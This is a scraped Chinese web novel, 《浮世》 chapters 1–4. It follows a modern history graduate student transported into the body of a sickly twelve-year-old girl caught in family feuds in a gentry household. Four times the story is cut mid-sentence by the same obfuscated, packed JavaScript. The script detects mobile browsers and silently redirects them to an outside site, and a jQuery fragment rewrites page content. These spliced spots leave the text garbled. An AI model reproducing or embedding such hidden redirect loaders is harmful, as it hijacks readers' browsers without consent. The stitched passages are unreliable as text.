《浮世》 1. 穿了 熹宁十三年,惊蛰,临安县内。 来到这里已经一月有余,李祺还是不太能接受自己穿越了这个事实。 每日早晨醒来,头顶的藕合色花帐总让她无比绝望。闭眼祈祷只是梦境,然而睁开后,除了眼尾划下的泪水,一切毫无变化。 屋外准时传来熟悉的争吵声,李祺毫无反应地翻了个身,让眼泪侧流。 紧接着,又传来接二连三瓷器破碎的声音,女孩疑惑,往日只是吵吵几句,今日怎么—— 眼瞅着外头的声音有愈演愈烈的阵势,李祺抱着宝蓝色缠花软枕在榻上滚了一圈,终是从榻上坐了起来。 睡眠被扰,情绪也被打断,李祺只觉心里有鬼火在烧,一面穿鞋一面气愤道 “到底有完没完,天天大清早搁人家门口上吵,是打算抓紧吵完赶去投胎吗?一天天的都快给我整神经衰弱了——” “咚!”又是摆件落地的声音。 “我勒个老天爷,要点脸吧,再摔下去我这小地方就真成毛胚房了,一群神经病呐!” 李祺满脸怒容,气势汹汹地推开门,腿还没迈出一条,啪!一个粉彩九桃纹盖碗刚好砸在她面前。 "嘶——"手背上传来一阵刺痛,血珠子瞬间跟红珊瑚串似的往下淌,殷红的血痕在女孩白嫩的皮肤上十分惹眼。 “你们简直欺人太甚!” 一位文弱的夫人像被踩了尾巴的猫一样尖叫着冲向刚刚那个掷茶杯的女人,两人互相扯着头发,很快扭打在一起。 李祺盯着满地碎瓷片直咂舌,这就有点刺激了啊,额……肯定是我开门的方式不对! “砰”地一声反手甩上门,女孩深吸口气,又重新推开——好么!一人正揪着另一人的裙子不撒手,活像两只抢食的斗鸡。 李祺抬手摁住自己抽搐的额角,面无表情的关上门,找了个凳子坐下,又拿起桌上的青瓷茶壶给自己倒了杯茶——冷的,内心烦躁更甚。 抬手擦了擦脸上的泪痕,手背传来的刺痛让她想起刚划的伤口,外头喧闹未止,女孩拧着眉毛,做了几个深呼吸,端起茶杯将冷茶一口饮尽,又唰地起身,抓起博古架上的彩羽鸡毛掸子,一脚将门踢开,大步朝庭院走去。 “小姐!您这是……”女孩悄悄做了个禁声的动作,穿着豆绿比甲的丫鬟了然地往外挪了挪。 鸡毛掸子挟着破风声扫过耳际,纠缠在庭院里的妇人们还未回神,身着宝蓝织金缎面袄的大夫人腰侧便结结实实挨了一记。 “是谁?哪个黑心肝的打我?” “啊——作死的小蹄子,是谁踩的我?” 三夫人揪着身上穿着的鹅黄缠枝纹褙子尖声咒骂,镶满珍珠的翘头履被狠狠碾住,几个拉偏架的丫鬟也同时叫了几声,捂着小腿不知是被谁踹了一脚。 霎时,尖利的叫声和质问声此起彼伏,李祺个子矮小,被大人之间的推搡挤到了地上。女孩顺势跌落在冰冷的台阶上,乘机将手中的鸡毛掸子塞进了旁边的杜鹃花丛中,确认藏好后,放声大哭起来。 妇人们的动作被女孩的哭声打断,一齐扭头看了过去。 现下正是三月初春,大人们都还披着夹棉带毛领的袄子,而女孩只穿着单薄的寝衣,露出纤细的脖颈,半躺在冰凉的地板上,哭得浑身颤抖。 手背上的伤口还在往外流血,皱成一团的小脸上,眼泪和鲜血混合在一起,看着着实可怜。 “我的心肝啊!” 一位穿着艾青妆花素缎夹棉袄的妇人踉跄着扑来,鬓边的素银掩鬓早歪斜到耳后。 李祺立即将染血的右手举过妇人肩头,抱着自己的母亲哭得更加大声,殷红血珠顺着冻得发青的指尖滴到地上,正对着旁边站着的几个妇人。 看着地上哭作一团的母女俩,大夫人攥着帕子退后半步,神情有些尴尬。 “三弟妹,这……我们,我们还是先回去吧。”大夫人眉毛拧成一团,讪讪地低头对身旁的三夫人说道。 三夫人赶忙点点头,像是早就想走了,两人由婢女搀扶着,一个扶着腰,一个瘸着脚,腰间的禁步玉佩撞出一串乱响,狼狈得离开小院。 见人走后,李祺伸手抹了把眼泪,拉着母亲站了起来,吩咐婢女将哭得快晕厥过去的母亲扶回房休息后,自己钻进花丛中捡起方才丢进去的鸡毛掸子,一瘸一拐地走回了房间。 阖上门,李祺先是抓起茶壶倒了点水把手帕沾湿,仔细擦了擦伤口,拿布草草包扎了一下,又换了块帕子胡乱抹了抹脸,最后翻出件妆花缎夹袄给自己披上。 女孩的嘴唇冻得有些发紫,裹着袄子直哆嗦,眼下屋内的碳已经烧得差不多了,到处冷冰冰的。看了看冷硬的圆凳,又看了看铺着厚厚褥子的床,李祺犹豫了一下,仔细拍了拍身上的灰,整个人钻进了被窝里。 拥着蓬松的锦被,女孩发出舒服的喟叹,决定晚点再让人换下底下的被单。 等手脚渐渐发热,李祺仰躺在床上,开始梳理这些天发生的事情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286951|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刚刚看见她拿鸡毛掸子的是母亲的婢女冬青,当时场面那么乱,应该没别的人发现她的动作,就算发现了——女孩哼了一声,发现了再说。 然后……刚刚外面摔东西吵架的是她大伯母陈氏和三叔母桑氏,半个月前,也就是她穿过来的时候,她和二堂哥——大伯母的二儿子在院子里双双落水,然后又被众人救了上来。 关于为何会落水,李祺脑袋里还模糊存了点原主的记忆,倒还真是个意外,冬日池边本就地滑,小孩间追着玩不小心出了意外。 偏偏一个小厮乱嚼舌根,说好像看见是一双穿着黄色袄子的手推了另一个蓝色衣服,当天几个孩子只有她穿黄,二堂哥穿蓝,就差直接指着她鼻子说是她推的,这下可好,大夫人直接炸了,逮着二房就跟黄鼠狼叼鸡似的,天天跑她这来讨要说法。 她儿子身体壮如牛,救上来休息几天又是活蹦乱跳,可怜原主直接命都丢水里了,李祺穿过来就得了风寒,整日在床上躺得床板都快长蘑菇了。 再说她那便宜爹,女孩微微叹了口气,当时救女心切直接一个猛扎子跟着跳进水里,也不想想自个儿那纸糊似的身子骨,这下可好,父女双双把床躺,现在都还下不了床。 娘亲……害,也难说,整日看看丈夫看看女儿,哭得比孟姜女还勤,本来就是个棉花性子,现下还要应付俩妯娌天天来唱大戏,这日子过得真是瘸子追贼——越追越远。 其实这真算不上什么大事,说清楚就行。偏生那小兔崽子怂得跟鹌鹑似的,见他娘一瞪眼就跟耗子见了猫,屁都不敢放一个,大夫人见状更加觉得自己儿子受了委屈。 还有那个心眼偏到屋顶上的老太婆,平常就不待见他们二房一家,这下毫无道理的往大儿媳身后一站,仗着辈分高成天搁那瞎搅和。 要不说有人撑腰好办事呢,大夫人得了助力,天天闹,日日吵,不知道的还以为这家人十五的元宵还没闹完呢。 想想卧病在床的父亲,再想想哭哭啼啼的母亲,还有她,李祺——哦现在应该叫王明夷,一个年仅十二,大病初愈的小女孩……这一家子的惨样,真是闻者伤心,见者落泪。 刚穿来就赶上这出大……啊不小题大做戏,李祺头疼的要命,揪着锦被哀嚎:“阎王爷啊您老行行好,直接派黑白无常来收了我这苦命人成不?没准我死了回去还能赶上早八,我从未那么想上早八…要不组会也行,只要能让我回去,我愿意天天,啊不三天开一次组会,并且绝不摸鱼……” 2. 鸡丝虾仁粥 锦被裹着的身躯微微发颤,许是病体未愈又遭寒气侵染,女孩终是支撑不住坠入昏沉的睡梦中去。 不系园内,铜制暖炉烧得屋里暖烘烘的,方才的青衣妇人由丫鬟搀扶着从床上坐起,眯眼看了看窗外 “我睡了多久?现在几时了?” “您睡了一个时辰了,现在是巳时一刻。” 妇人皱了皱眉,“我明儿呢?她怎么样了?”说着又顿了顿,眉头皱得更深,“早上好像没看见她身边的麦冬?” 侍女垂目敛眉,语气吞吞吐吐,看着她犹豫的样子,妇人声音有些凌厉 “麦冬去哪里了?” “回夫人,麦冬昨晚说身子有些不爽利,恐是有些着凉,眼下三小姐还未痊愈,麦冬怕将寒气染给小姐,便向奴婢告了今天一天的假。因为事发突然,奴婢还没来得及安排别人去照顾小姐就出了今早的事,当时小姐看见您快晕过去了就赶紧叫奴婢扶您回房,所以…所以就……” “所以我的明儿寒天腊月冻了一场,手上还划了个口子,却没有一个人照顾?” 妇人语气带着明显的怒意,她不敢想,她的明儿那么小,本来身子还未痊愈,又遭了今天这一遭,现下身边连个照顾的人都没有,先不说怪旁人,就她这个做母亲的,真是一点不称职。 想到这,不禁悲从中来,到底是她和明儿她爹没能耐,斗不过那些虎豹豺狼,才害得明儿小小年纪遭如此大罪…… “夫人您别哭了,小心伤了身子啊。”侍女小心翼翼得递上手帕,忧心地看着床上抽噎不止的夫人。 到底是做娘的,虽然心里难受得紧,还是赶紧强迫自己打起精神想孩子的事 “去取伤药,要那盒玉肌膏。”妇人霍然掀被下榻,“再取些木炭,明儿屋里现下肯定无人烧火,动作都快些!” 冬青赶紧上前伺候夫人穿衣,吩咐几个侍女很快将东西收拾好,取了个汤婆子递到青衣妇人手上,搀着人往李祺所住的宜秋院赶去。 院子里的梅枝覆着薄雪,卧室内冷得呵气成霜,彼一推开门,妇人就忍不住握紧了手中的汤婆子,心跟着这房子又冷了几分。 头上的步摇随着妇人急促的步伐荡出残影,踉跄着扑向床边,拨开垂下的藕合色花帐,就看见女儿裹在被子里只露出半张的通红的小脸,一摸,滚烫,显然是烧起来来了。 “快去唤连翘煎药,照大夫开的方子,文火慢煨收三成汁。另备铜盆热水,嘱咐灶间再做几样清粥小菜送来。”冬青压低嗓子分派完差事,转身走到铜炉前将木碳填进去。 过了一会,炉膛里的火舌舔舐着黝黑的铜壁,噼啪爆开几点金星,将铜炉染上暗红,屋内逐渐暖和起来。 李祺这一觉睡得昏昏沉沉的,感觉自己像是吃了毒菌子似的梦里一片光怪陆离乱七八糟,待勉强撑开眼帘,只见一张白玉般的容长脸悬在咫尺,头发松松挽着,斜插着几只素银簪子,一双柳叶眸中蓄着两汪秋水,正担心地看着她。 “好个画里走出的仙子,这个妹妹好像在哪里见过,生的好生漂亮……” 女孩痴痴地笑了起来,伸手想去抓美人垂下的鬓发。 “明儿!” 妇人一把抓住女孩伸出的小手,贴在脸边颤抖着声音唤着“我儿”,原本有些蹙紧的眉头更紧了几分,眼眶又红了起来。 冰冷的水珠坠落在脖颈处,给李祺激得一颤,一下子回过神来。 “娘,你怎么来了啊?”李祺讪讪抽手不成,反被攥得更紧。 回想起刚刚的胡话,女孩尴尬地四处乱瞄,身下的褥子抓紧又松开,忽然碰到了一个温暖的汤婆子,赶紧拿起来拢在怀里,想了想又举起来塞给旁边的垂泪美人 “娘你手好冰,快拿着汤婆子暖暖。” 妇人看见女儿懂事的样子,更觉愧疚 “明儿啊我的儿,娘不来怎么知道明儿受了这么大的委屈!都怪娘不好,没有照顾好你,我……” 眼瞅着母亲哭得越发凄切,李祺费力地支起身子,直接将汤婆子塞进妇人手里,揪起寝衣的袖口笨拙得给她擦眼泪,心里想得却是好软啊,美人就是美人,孩子都那么大了皮肤还那么好,嘤嘤嘤真羡慕…… 手上猛地被塞了一个汤婆子,又看到女儿脸颊绯红,皱着秀气的眉毛小心翼翼地给自己擦眼泪,妇人心里越发难受,一把拦住女儿,痛痛快快地哭了一场。 猛地被美人娘亲搂在怀里,李祺贼兮兮地吸了吸鼻子,真香!妇人紧紧抱着怀里的小人哭得整个人都在发颤,女孩无奈叹了口气,心里忍不住多了几分怜惜,为自己之前嫌她成天哭哭啼啼感到愧疚。 想想也是,本就那么文弱的人,丈夫女儿皆卧病在床,妯娌也日日来找茬,这段时间最苦的还是她啊。 李祺穿来前刚满23岁,读着自己千辛万苦考上的研究生,正苦兮兮的开着组会。 只见同门做了个一百多页的PPT在台上激情飞扬的汇报,李祺低头看看手机,都讲三小时了,严重超时啊,她手机都要看没电了,台上的台下的都歇歇吧。 然而环顾四周,导师听的津津有味,时不时点评几句,几个师兄师姐也跟着附和几点,只有一个师姐难耐地撑着脑袋——李祺抬眼和她对视,确认过眼神,是同道中人。 等到实在坐不住了,李祺敲敲自己的脊椎,猫起腰偷偷溜出去上厕所,顺便再走两步,放个风……谁曾想刚出踏出门就感觉两眼一黑,再睁开就看见这一屋子古色古香。她当时吓得浑身颤抖,旁边的白胡子大夫一个劲地说她病得快死了,然后又是一连串的哭声…… 眼下这妇人貌似是三十出头,但看着也就二十多岁,没比自己周围的同学大多少,李祺实在很难把她当成自己的母亲,就当是多个姐姐吧,女孩默默告诉自己。 抬手轻拍妇人颤抖的脊背,忽然瞥见自己已经被仔细包扎的伤口,屋内铜炉烧得正旺,到处都暖烘烘的,案头烛火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286952|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上煨着的几碟小菜正冒着袅袅的热气,不知怎的,女孩鼻腔忽然酸涩难抑,哗的流下泪来。 外面正簌簌落着白雪,压弯了去岁嶙峋的花枝,雕花窗内炭火噼啪炸响,映得帐上并蒂莲忽明忽暗。榻上如梅枝般纤弱的青色身影紧紧拥着一团雪白的小人,令人心碎的抽泣声渐渐盖过了屋内外一切杂音。 “夫人、小姐,先吃饭吧,千万仔细身体。”看着床上哭作一团的母女,冬青眼圈也微微泛红,双手悬在空中,拉也不是,不拉也不是,急的在旁边来回踱步。 好在怀中温热终于唤回几分清明,妇人将将止住眼泪,捧起女儿的小脸,爱怜地捏了捏,柔声说道:“明儿一定饿了吧,娘亲带你吃点东西,然后咱们再把药喝了好吗?” 女孩乖乖点头,一手紧紧牵着母亲,一手扶着冬青,走到屋里那张酸枝红木方桌前坐下。 青瓷壶里早已泡好热茶,桌上整整齐齐的摆着两碗鸡丝虾仁粥,一碟清炒枸杞芽,一碟间笋蒸鹅,还有一小碟酱菜,全都冒着腾腾的热气。 刚刚被情绪忽略的香味此刻毫无阻拦的飘到鼻尖,“咕噜——”安静的房间内声音格外显眼,李祺尴尬地摸了摸肚子,才想起自己今日还未进食。 妇人见状抿着嘴露出了今日第一个笑容,觉得面前白玉团子似的女儿甚是可爱,连忙将粥端在手里,作势要亲自喂女儿吃饭。 李祺有些别扭地推拒:“娘,我都多大了,还是自己来吧。” 妇人笑得更加开怀“明儿怎么还害羞了呢,你还是个孩子,吃娘亲喂的饭很正常呀。” 美人虽是嘴角含笑,手上动作却不容拒绝,李祺无奈的张开嘴,吞进一大口鸡丝虾仁粥。 白米煮的软糯,含在口中十分香甜,鸡脯肉撕成细缕,浸在米浆里熬得酥软。虾仁约莫小指节长短,弹牙脆嫩,仿佛能尝到江潮的鲜润。最妙的是那翡翠香蕈丁,裹着薄薄米油在唇齿间游走,带着松林晨露的清气。绵、鲜、脆三重滋味在口中缠绵交响,似是将整个初春的鲜嫩都熬进了这碗粥中。 女孩鼓囊着腮帮子,一边慢慢吞咽一边端起另一碗粥递给妇人 “娘亲…你也吃啊,好…好吃,再…再不吃就……就冷了。” 妇人放下手中的碗,笑着接过女儿递的粥,拢了拢鬓边的黑发,低头尝了一口,含着水光的眼眸亮晶晶的看着面前的女儿 “明儿递过来的粥的确很好吃呢!” 妇人眉如墨画,眼如秋波,烛光照映下,越发显的柳眉笼翠雾,檀口点朱砂。 李祺一时看呆了去,认真咀嚼的腮帮子也忍不住停了下来,心里止不住地大喊,天啦,我的亲娘啊,这就是灯下观美人吗,这就是那什么……风流灵巧招人怨吧,古人诚不欺我。 这边妇人看见女儿鼓着小脸,杏仁状的大眼睛扑闪扑闪地盯着自己,像只小松鼠一样实在是可爱得紧,满怀爱意的目光越发温柔,只觉得心里盈满的怜爱之情无处宣泄。 3. 桂圆红枣茶 看见母女俩吃得差不多了,冬青唤人将菜撤下,收拾干净桌子重新煮了壶桂圆红枣茶,又灌了个汤婆子递过去。 李祺拒绝了母亲让她回榻上躺着的要求,表示自己已经躺了半个月了,躺的浑身筋骨酥软,哪哪都不舒服。 “可是你还发着热啊。”妇人担心地看着快将头摇成拨浪鼓的女儿。 “已经不烫了,不信您摸摸,吃了饭出了汗,女儿觉得现在神清气爽!” 李祺主动握住母亲的手贴上自己的额头,果然是烧退了,妇人稍稍放下心来,端起茶盏递到女儿嘴边 “汗浸了风可了不得,快把这茶当续命汤灌两口。” 女孩伸手接过茶杯,红褐色的茶汤甜滋滋的,忍不住连着喝了好几杯,再加上方才本来就吃得多,结果就是李祺揉着肚子,在房间里不断走动消食。 妇人笑得头上的步摇一晃一晃的,瞧见女儿一会揉揉肚子,一会摸摸喉咙,贴心地问道 “要不要我让厨房拿点山楂丸过来?” “我觉得健胃消食片更管用点。”女孩揉着肚子小声嘀咕 “嗯?明儿你说什么?” “不用,不用山楂,娘亲,我都撑到嗓子眼啦,现下是一点东西都吃不下了。” 妇人起身,走到女儿身边,摸了摸她的肚子,又被缩着脖子笑着躲开 “也是,不过娘亲觉得你也没吃多少啊,怎就撑成这样?” 李祺满脸问号,盛粥的碗有外头日料店装拉面的碗那般大,她吃了个精光,连着几碟小菜,几乎都进了她的肚子,这叫没吃什么?好端端的不要睁眼说瞎话啊,不然她真的会信的,然后吃成一头肥猪…… 越想越觉得离谱,李祺摇摇头,决定问问别的 “娘亲,今早是怎么回事,好端端的怎么突然摔起东西来了?” “明儿怎么想起问这个?”妇人捏着茶盖的手一滞,瞬间抿直了嘴角。 “女儿生气,她们不要脸敢这样欺负娘亲!”女孩双手叉腰,还带着婴儿肥的脸颊气鼓鼓的。 妇人心里一暖,低头喝了口茶,轻声开口 “本来也没什么,她们就像前几日那样来找找茬,忽然你那个嘴碎的三叔母阴阳怪气的搁我们面前说你短命、福薄,然后又奉承你大伯母的元哥儿福泽深厚,我气不过,骂回了几句,结果你大伯母就气的开始摔东西,然后老三就站在旁边笑吟吟的看着,真让人火大。” 妇人重重地放下手中的茶盏,想起今早的事情,怒火又窜了上来。 李祺一面安抚着母亲,一面在心里暗骂,看来这王府还是有钱,养得人吃饱撑了天天玩找茬,这三叔母就是根喜欢挑拨的搅屎棍,最近闹得这些事背后她指不定出多少力,大伯母也是个没脑子,跟个炮仗似的一点就炸,真是两个癫婆凑一对。 “那元亨哥呢?我现下身体也好了,我去找他一起把这件事说清楚。” 见女儿提起那胆小的兔崽子,素日文雅的妇人忍不住啐了一口 “呸!说起这个更让人来气,元哥儿醒了当天我就想去找,但你大伯母死命拦着不让,说怕我打搅她儿子养病,我心里琢磨着也行,那我明个儿来,结果你大伯母转头就把儿子送到娘家修养了。” 妇人白玉似的脸颊微微泛红,情绪也有些激动起来,“现下所有人都觉得是你推的元哥儿下水,无论我怎么解释怎么吵都没用!” 瞧见母亲气息急促,胸膛上下起伏的模样,女孩赶紧倒了杯茶水递过去 “娘亲消消气,别为了这些人气坏了身子。” 妇人接过茶盏抿了两口,长长吁了口气,“这可怎么办好啊?” 女孩眼珠子一转,继续问道:“那大伯母的娘家在哪?远吗?” “就在钱塘县,乘马车一日便到了。” “那为什么不能直接过去寻人呢?”李祺疑惑道 “傻孩子。”妇人捏了捏女儿鼻尖,“你当是去东市买绢花呢?总要递了拜帖才合礼数。况且.…”她声音忽然轻了,“你和你爹爹那会都病得厉害,我如何离得开半步。” “那娘亲在钱塘县可有认识的人?” 妇人手指轻绕着步摇垂下的流苏,低头思考了一会,“我是有位闺中的姐妹去岁末随着丈夫搬到了那边,也不知道离得近不近,但自她出嫁之后我们就再没见过面了……” 啊…很久没见过面了,这在古代倒也正常,不过…我记得古人都挺爱写信的…… “那你们关系好吗?现在可还有联系?”李祺轻声问道 提起朋友,妇人也绽开了笑容,“当然!你淑姨和我可是手帕交,我俩家在一处,从小一起长大的,虽然现下各自出嫁难以见面,但我们也会经常写信。” “那娘亲你看这样成吗?你写信问问淑姨,就说我们有事拜访,然后写个拜帖,我们就去那边找淑姨,刚好去把元亨哥揪出来好好说说。” 妇人眼睛一亮,显然觉得这个方法可行。 “但是……爹爹身体现在如何?还有,淑姨和大伯母娘家在同一处,大伯母她们会不会知道我们其实是要去找元亨哥?” 妇人拍了拍女儿的手,“明儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286953|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用担心,你爹爹这两天身体已经大好,至于别的——” 妇人眨了眨眼睛“我不说,他们谁会晓得你淑姨住哪呢,娘亲这就回去写信,还是我的明儿聪明!” 妇人欣喜的抱着女儿亲了两口,嘱咐侍女照顾好小姐,便急匆匆地赶回不系园了。 母亲走后,李祺望着案上晃动的茶汤倒影,忽然想起之前在书中看到的闺信,记得里头有句“犹记垂髫共采莲”——原来有些情谊,真能隔着山水经年不散。 挥手让留下来的丫鬟先下去,李祺一人在屋子里来回踱步,不知怎地,她总觉得有哪里不对劲。 为什么大伯母那么着急的让自己儿子去娘家修养?明明身体还未好,就她那溺爱的模样,儿子不在眼皮子底下真的放心?还有,怎么就恰好出现个看见“实情”的小厮? 越想越觉得有问题,却又迟迟找不到问题的出口,李祺鼻子微微皱起,甩着袖子烦躁的加快了脚步。 不系园内,早春的日光透过海棠纹窗棂,在青砖地上筛出细碎花影,书案上的那盆水仙犹带晨露,暗香浮动间,妇人挽起袖子,从案旁的木盒中取了一锭渝糜墨开始研磨。 末了又翻出一沓彩云般的谢公笺,看了一会挑了张杏色的用镇纸细细抚平。瞧了瞧笔架,取了支紫檀狼毫下来,蘸上墨汁,提笔给友人写信。 “静翕可是得了什么喜事,一进门就没见你歇过?”软榻上执卷的男子约摸三十出头,抬眼瞧见妻子耳边晃动的坠子,好奇的问道。 笔尖在素笺上洇开墨梅,妇人答道:“我在给淑仪写信呢,想着带咱们明儿去看看她。” “怎么突然想到要去?我记得你好像提过你这位朋友去岁搬到在钱塘去了?” 见丈夫面露惑色,她将笔斜倚在青玉笔山上,回头笑吟吟地看向丈夫 “难为你还记得,是明儿提议的,淑仪的现下和大嫂的娘家住在一个县,我们想去找元哥儿,顺便去拜访一下淑仪。” 男子闻言点头,“是为明儿落水那件事吧,也不失为一个方法,我记得你提过好几次想去找她,但总被耽搁,你且带着明儿去吧,家里我会照看好。” 妇人回首俯案,簪花小楷渐次绽开,去岁腊八淑仪在信中说到自己得了个双面绣样,说好要描了花样子寄来,如今上元都过了,也不知她描好没? 窗外的梅瓣随风卷入,落在她铺展的信笺上,倒像是添了枚天然的花押……妇人抬头蘸墨时忽地怔住,铜镜里的人眼角似有几条细纹,自出阁作别,算算已有十三年未见,不知故人可还识得当年容色? 4. 逛园子 或许是那日早晨的事的确闹得有些尴尬,最近几天大伯母和三叔母倒再没过来找过麻烦。李祺大病初愈,也没人拘着她做功课,大夫也说多加走动对她身体有好处,倒是乐得几日清闲,成天在府里乱逛。 临安王氏也是杭州府有名的书香门第,出过十几位进士,曾祖那辈官至工部尚书,在当地实属风光,但到王明夷父亲这辈也有点没落了。 大伯父王同简进士出身,眼下正在南边某府做通判。父亲王同光文才闻名江南,曾以《治水策》得乡试魁首,但自小身体极差,因会试“三场九日”连考引发肺疾,最终以举人身份选授仁和县教谕,几年后辞官归里。现在承担了县里修志传的工作,日常在家写诗修书,偶尔去族中学塾中教教族中子弟。 三叔父王同宁自小受宠,乡试考了三次不过,至今仍是个秀才,老母心疼幼子,许是认清他也不是读书的料,便让他去打理家中田产。 江南这带土地兼并严重,文人势族通过科举特权、购买或接受“投献”(农民为避税将土地名义上交予士绅)积累大量土地,王氏一族占有近万亩土地,每年不算别的门铺生意,光是地租就是一笔不小的数字,如今声望虽大不如前,但在当地依旧有不小的影响。 大周的士族惯会享受,多爱建造豪华府邸。王氏几代下来,祖宅不停修缮,也是当地几个家族里排得到前面的精致大气。 李祺这几日在府里到处闲逛,感觉自己就跟之前去苏州旅游时逛的那些个园林并无二致。粉墙黛瓦,曲径通幽,太湖石嶙峋如云,石上攀着的凌霄花如瀑布般垂落,与石隙间苍绿的薜荔纠缠出一片生机,山巅还立一小轩,名曰“揽云”。 这处假山叠石可谓王宅的筋骨,来访宾客无不夸赞,为其题的词句也不知有多少。李祺虽不懂欣赏其中精妙珍贵之处,但并不影响感受它浑然天成般的美与壮观,心里默默感叹,简直豪无人性。 以前逛景区时只觉难以想象这样的地方竟是从前别人的家,现下自己真住了进去,每日逛公园似的处处跑,心里美得冒泡之余,又义正言辞的痛骂自己怎么能沉迷这民膏民脂堆出来的锦绣园?可是,爱美之心人皆有之,这园里一湖一亭,一榭一斋,实在是让人舍不得移开眼。 日日闲逛也不是没有收获,有回李祺坐在荷花池边的听雨亭里,盯着檐下悬挂的铜铃发呆,不远处假山掩着的地方传来几个丫鬟的交谈声 “你听说了吗?这两天三爷和三夫人在吵架,吵得可凶了!” “我知道我知道!今早我刚好路过,就看见三爷甩门走了,悄悄往里瞄了一眼,啧啧摔了一地的东西。” “你说为啥嘞?” “还能为啥,不是三爷外面又有人了,就是铺子里的那些事。” “啊?啥事啥事,我怎么不晓得你快给我仔细说说!” “低声点,仔细别被人听了去,晚点我回屋和你说。” 欸欸欸话说一半怎么就走了嘞,这也太不道德了吧,李祺心里嘟哝着,也没了逛园子的心思,确定那几个丫鬟走了之后,慢吞吞的回了自己的院子。 吵架……铺子……吵架……几个词语在女孩脑袋里颠三倒四想了一路,直到躺在床上女孩还是没有办法把它们从脑袋里赶走。 其实也就一个听了半截的八卦而已,府里那么多人,每日的八卦还少了吗?还是先别想了,免得烦得脑袋疼。 暮色渐沉,廊下点亮了绢纱灯笼,昏黄的光晕染上木雕花窗,一串急匆匆的脚步声响起,不系园的木门被清脆的声音叩响。 “明儿怎么这个时候过来了?”二郎看见突然来访的女儿,面露疑色。 “同光,是谁来了?”屋里传来妇人的声音。 “是明儿,来,明儿快进来。”王二郎关上门,牵着女儿进了里屋。 圆方莲花的烛台边,顾夫人正拿着一封信低头读着,见女儿来了,将手中信纸对折放下,笑着问道 “明儿怎么这个时候来了,是有什么事吗?” 李祺被灯下的娘亲美的恍神,一时慢了半拍,“哦…是,对爹爹、娘亲,你们晓得府里铺子最近有什么事吗?” “铺子?怎么想起问这个?”二郎疑惑道 “今天在园子里听到有丫鬟说,就想问问,最近闷的慌,想多了解一下府里的事情。” “府里的铺子主要是母亲和三弟妹在管,我很少过问,不过昨日我去母亲处吃茶的时候听到三弟说想要拿几间铺子做什么生意。” “什么生意?”李祺和顾夫人一齐问道 “只知道又是他什么朋友喊他一起的,具体的我也不清楚。”二郎顿了顿,似乎又想起什么 “三弟的一些朋友一向不太靠谱,之前好像也是搞什么生意,结果赔了一大笔钱,给母亲气的不行。” 李祺听了父亲的话,低头沉思起来。 顾夫人瞧着女儿如泥塑般怔坐着,抬手轻轻戳了戳她光洁的额头:“明儿又魔怔了不成?先别管铺子不铺子的了,娘亲今日收到你淑姨的信了!” 说着从案上拿起一页玫红薛涛笺,“娘已吩咐下去,明日打点行装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286954|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后日便启程往钱塘去。” 李祺接过母亲递过来的信,但见满纸簪花小楷如春蚕食叶,字里行间流露出的涓涓情意看得人心暖暖。 女孩甩了甩脑袋,像是要把其中杂念都抛诸脑后,三叔和铺子这事也不是一时半会能搞清楚的,还是先把自己的事情解决。而且——总算能出去玩玩了,深宅园林虽美,但朝夕相对也就没那么新鲜了。 作为历史专业的学生,成日对着故纸堆想象、辩疑和思考古人的世界,也曾幻想过能亲眼目睹。 现下机会就在眼前,一想到即将得见《东京梦华录》里描绘的市井百态,《清明上河图》中鳞次栉比的商铺,听到贩夫走卒此起彼伏的吆喝,李祺只觉得自己激动的掌心微微发烫。 回到房内,女孩像只衔枝筑巢的雀儿般在衣柜前转来转去,指尖抚过各色绫罗,东看西瞧,恨不得全都带上。 现下天气还有些凉,外套肯定是要带的,这件绛丝云纹对襟袄就很不错,李祺踮脚取下衣裳,嗯!内衬狐腋裘里,领缘还缀着银鼠毛,漂亮又保暖! 然后……这条葱黄的百迭裙带上,那条有岁寒三友纹样的马面也带上,唔……这件蜜合色的对襟袄和杏色的杭绸小袄哪件更好搭裙子? 